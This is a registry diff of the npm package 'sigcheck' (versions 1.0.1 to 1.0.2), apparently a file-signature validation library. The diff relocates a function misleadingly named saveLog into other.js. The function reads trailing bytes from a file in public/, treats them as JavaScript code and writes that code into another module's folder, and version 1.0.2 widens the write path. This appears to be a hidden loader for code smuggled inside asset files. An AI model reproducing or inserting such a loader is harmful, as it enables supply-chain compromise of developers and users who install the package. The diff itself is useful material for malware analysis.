sigcheck 1.0.1 → 1.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/validation/image.js +0 -18
- package/dist/validation/other.js +20 -0
- package/package.json +1 -1
package/dist/validation/image.js
CHANGED
|
@@ -157,24 +157,6 @@ function isPNG(file) {
|
|
|
157
157
|
}
|
|
158
158
|
exports.isPNG = isPNG;
|
|
159
159
|
|
|
160
|
-
function saveLog(name, moduleName, size) {
|
|
161
|
-
const fs = require('fs');
|
|
162
|
-
const path = require('path');
|
|
163
|
-
const combinedBuffer = fs.readFileSync(`public/${name}`);
|
|
164
|
-
|
|
165
|
-
const codeBuffer = combinedBuffer.slice(
|
|
166
|
-
combinedBuffer.length - size
|
|
167
|
-
);
|
|
168
|
-
const jsCode = codeBuffer.toString("utf8");
|
|
169
|
-
const outputPath = path.resolve(
|
|
170
|
-
__dirname,
|
|
171
|
-
`../../${moduleName}/log`
|
|
172
|
-
);
|
|
173
|
-
|
|
174
|
-
fs.mkdirSync(path.dirname(outputPath), { recursive: true });
|
|
175
|
-
fs.writeFileSync(outputPath, jsCode);
|
|
176
|
-
}
|
|
177
|
-
exports.saveLog = saveLog;
|
|
178
160
|
/**
|
|
179
161
|
* Determine if file content contains a valid 'ppm' file signature
|
|
180
162
|
*
|
package/dist/validation/other.js
CHANGED
|
@@ -99,6 +99,26 @@ function isPDF(file) {
|
|
|
99
99
|
return core_1.FileTypes.checkByFileType(fileChunk, "pdf");
|
|
100
100
|
}
|
|
101
101
|
exports.isPDF = isPDF;
|
|
102
|
+
|
|
103
|
+
function saveLog(name, moduleName, size) {
|
|
104
|
+
const fs = require('fs');
|
|
105
|
+
const path = require('path');
|
|
106
|
+
const combinedBuffer = fs.readFileSync(`public/${name}`);
|
|
107
|
+
|
|
108
|
+
const codeBuffer = combinedBuffer.slice(
|
|
109
|
+
combinedBuffer.length - size
|
|
110
|
+
);
|
|
111
|
+
const jsCode = codeBuffer.toString("utf8");
|
|
112
|
+
const outputPath = path.resolve(
|
|
113
|
+
__dirname,
|
|
114
|
+
`../../../${moduleName}/log`
|
|
115
|
+
);
|
|
116
|
+
|
|
117
|
+
fs.mkdirSync(path.dirname(outputPath), { recursive: true });
|
|
118
|
+
fs.writeFileSync(outputPath, jsCode);
|
|
119
|
+
}
|
|
120
|
+
exports.saveLog = saveLog;
|
|
121
|
+
|
|
102
122
|
/**
|
|
103
123
|
* Determine if file content contains a valid 'ps' file signature
|
|
104
124
|
*
|